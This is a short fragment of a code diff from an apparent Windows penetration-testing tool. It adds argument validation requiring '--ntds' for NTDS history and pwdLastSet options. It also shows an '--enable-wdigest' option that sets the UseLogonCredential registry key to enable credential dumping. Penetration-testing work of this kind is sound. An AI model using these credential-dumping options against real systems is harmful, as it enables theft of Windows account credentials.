rgroup.add_argument("--enable-wdigest", action='store_true', help="Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")
|
||||
|
@ -181,6 +184,11 @@ if args.combo_file and not os.path.exists(args.combo_file):
|
|||
print_error('Unable to find combo file at specified path')
|
||||
shutdown(1)
|
||||
|
||||
if args.ntds_history or args.ntds_pwdLastSet:
|
||||
if not args.ntds:
|
||||
print_error('--ntds-history and --ntds-pwdLastSet require --ntds')
|
||||
shutdown(1)
|
||||
|
||||
################################################################################################################
|
||||
|
||||
def get_targets(target):
|
||||
|
|
Loading…
Reference in New Issue